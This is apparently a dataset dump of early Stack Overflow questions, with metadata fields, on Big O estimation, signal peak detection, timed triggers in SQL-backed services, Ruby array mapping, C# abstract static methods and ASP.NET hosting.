Big O, how do you calculate/approximate it? === Most people with a degree in CS will certainly know what [Big O stands for][1]. It helps us to measure how (in)efficient an algorithm really is and if you know in [what category the problem you are trying to solve lays in][2] you can figure out if it is still possible to squeeze out that little extra performance.* But I'm curious, how do *you* calculate or approximate the complexity of your algorithms? *: but as they say, don't overdo it, [premature optimization is the root of all evil][3], and optimization without a justified cause should deserve that name as well. [1]: http://www.nist.gov/dads/HTML/bigOnotation.html [2]: http://en.wikipedia.org/wiki/List_of_complexity_classes [3]: http://en.wikipedia.org/wiki/Optimization_(computer_science)#When_to_optimize
0
3,260
08/06/2008 10:23:18
186
08/03/2008 06:30:23
11
0
Peak detection of measured signal
We use a data acquisition card to take readings from a device that increases its signal to a peak and then falls back to near the original value. To find the peak value we currently search the array for the highest reading and use the index to determine the timing of the peak value which is used in our calculations. This works well if the highest value is the peak we are looking for but if the device is not working correctly we can see a second peak which can be higher than the initial peak. We take 10 readings a second from 16 devices over a 90 second period. My initial thoughts are to cycle through the readings checking to see if the previous and next points are less than the current to find a peak and construct an array of peaks. Maybe we should be looking at a average of a number of points either side of the current position to allow for noise in the system. Is this the best way to proceed or are there better techniques?
language-agnostic
algorithm
data
null
null
null
open
Peak detection of measured signal === We use a data acquisition card to take readings from a device that increases its signal to a peak and then falls back to near the original value. To find the peak value we currently search the array for the highest reading and use the index to determine the timing of the peak value which is used in our calculations. This works well if the highest value is the peak we are looking for but if the device is not working correctly we can see a second peak which can be higher than the initial peak. We take 10 readings a second from 16 devices over a 90 second period. My initial thoughts are to cycle through the readings checking to see if the previous and next points are less than the current to find a peak and construct an array of peaks. Maybe we should be looking at a average of a number of points either side of the current position to allow for noise in the system. Is this the best way to proceed or are there better techniques?
0
3,272
08/06/2008 10:43:16
377
08/05/2008 10:01:14
73
16
Timer-based event triggers
I am currently working on a project with specific requirements. A brief overview of these are as follows: * Data is retrieved from external webservices * Data is stored in SQL 2005 * Data is manipulated via a web GUI * The windows service that communicates with the web services has no coupling with our internal web UI, except via the database. * Communication with the web services needs to be both time-based, and triggered via user intervention on the web UI. The current (pre-pre-production) model for web service communication triggering is via a database table that stores trigger requests generated from the manual intervention. I do not really want to have multiple trigger mechanisms, but would like to be able to populate the database table with triggers based upon the time of the call. As I see it there are two ways to accomplish this. 1) Adapt the trigger table to store two extra parameters. One being "Is this time-based or manually added?" and a nullable field to store the timing details (exact format to be determined). If it is a manaully created trigger, mark it as processed when the trigger has been fired, but not if it is a timed trigger. _or_ 2) Create a second windows service that creates the triggers on-the-fly at timed intervals. The second option seems like a fudge to me, but the management of option 1 could easily turn into a programming nightmare (how do you know if the last poll of the table returned the event that needs to fire, and how do you then stop it re-triggering on the next poll) I'd appreciate it if anyone could spare a few minutes to help me decide which route (one of these two, or possibly a third, unlisted one) to take. Thanks in advance
sql
web-service
timer
service
trigger
null
open
Timer-based event triggers === I am currently working on a project with specific requirements. A brief overview of these are as follows: * Data is retrieved from external webservices * Data is stored in SQL 2005 * Data is manipulated via a web GUI * The windows service that communicates with the web services has no coupling with our internal web UI, except via the database. * Communication with the web services needs to be both time-based, and triggered via user intervention on the web UI. The current (pre-pre-production) model for web service communication triggering is via a database table that stores trigger requests generated from the manual intervention. I do not really want to have multiple trigger mechanisms, but would like to be able to populate the database table with triggers based upon the time of the call. As I see it there are two ways to accomplish this. 1) Adapt the trigger table to store two extra parameters. One being "Is this time-based or manually added?" and a nullable field to store the timing details (exact format to be determined). If it is a manaully created trigger, mark it as processed when the trigger has been fired, but not if it is a timed trigger. _or_ 2) Create a second windows service that creates the triggers on-the-fly at timed intervals. The second option seems like a fudge to me, but the management of option 1 could easily turn into a programming nightmare (how do you know if the last poll of the table returned the event that needs to fire, and how do you then stop it re-triggering on the next poll) I'd appreciate it if anyone could spare a few minutes to help me decide which route (one of these two, or possibly a third, unlisted one) to take. Thanks in advance
0
3,281
08/06/2008 11:02:20
484
08/06/2008 09:04:41
1
1
Mapping values from two array in Ruby
I'm wondering if there's a way to do what I can do below with Python, in Ruby: sum = reduce(lambda x, y: x + y, map(lambda x, y: x * y, weights, data)) I have two arrays of equal sizes with the weights and data but I can't seem to find a function similar to map in Ruby, reduce I have working.
ruby
map
reduce
null
null
null
open
Mapping values from two array in Ruby === I'm wondering if there's a way to do what I can do below with Python, in Ruby: sum = reduce(lambda x, y: x + y, map(lambda x, y: x * y, weights, data)) I have two arrays of equal sizes with the weights and data but I can't seem to find a function similar to map in Ruby, reduce I have working.
0
3,284
08/06/2008 11:04:33
493
08/06/2008 10:25:05
21
4
Why can't I have abstract static methods in c#?
I've been working with [providers][1] a fair bit lately and I came across an interesting situation where I wanted to have an abstract class that had an abstract static method. I read a few posts on the topic and it sort of made sense, but I was wondering if someone here might be able to offer a nice clear explanation? [1]: http://msdn.microsoft.com/en-us/library/aa479030.aspx
c#
null
null
null
null
null
open
Why can't I have abstract static methods in c#? === I've been working with [providers][1] a fair bit lately and I came across an interesting situation where I wanted to have an abstract class that had an abstract static method. I read a few posts on the topic and it sort of made sense, but I was wondering if someone here might be able to offer a nice clear explanation? [1]: http://msdn.microsoft.com/en-us/library/aa479030.aspx
0
3,305
08/06/2008 12:01:40
194
08/03/2008 10:56:49
58
9
ASP.NET Hosting Options
**I'm not trying to start a "which language is better" argument here, so please don't go there.** <br> I typically use PHP for most of my web development (mostly because hosting is cheap), but for various reasons I'm looking to use ASP.NET for a couple new projects. But one of the major reasons I've stayed away from ASP.NET up until now is the cost. I've seen some budget hosting options, but they always seem a little sketchy to me. From what I've generally found, that's just the way the hosting scene looks for ASP.NET unless you want to go dedicated. Does anyone have any good suggestions for a solid ASP.NET host with a good feature set and reliability for my money? Also, are there any options out there along the lines of Amazon's Elastic Compute Cloud? And yes, I know... Mono. I'm talking about *Windows* based "grid" hosting options?
asp.net
hosting
null
null
null
06/30/2012 16:22:31
not constructive
ASP.NET Hosting Options === **I'm not trying to start a "which language is better" argument here, so please don't go there.** <br> I typically use PHP for most of my web development (mostly because hosting is cheap), but for various reasons I'm looking to use ASP.NET for a couple new projects. But one of the major reasons I've stayed away from ASP.NET up until now is the cost. I've seen some budget hosting options, but they always seem a little sketchy to me. From what I've generally found, that's just the way the hosting scene looks for ASP.NET unless you want to go dedicated. Does anyone have any good suggestions for a solid ASP.NET host with a good feature set and reliability for my money? Also, are there any options out there along the lines of Amazon's Elastic Compute Cloud? And yes, I know... Mono. I'm talking about *Windows* based "grid" hosting options?
4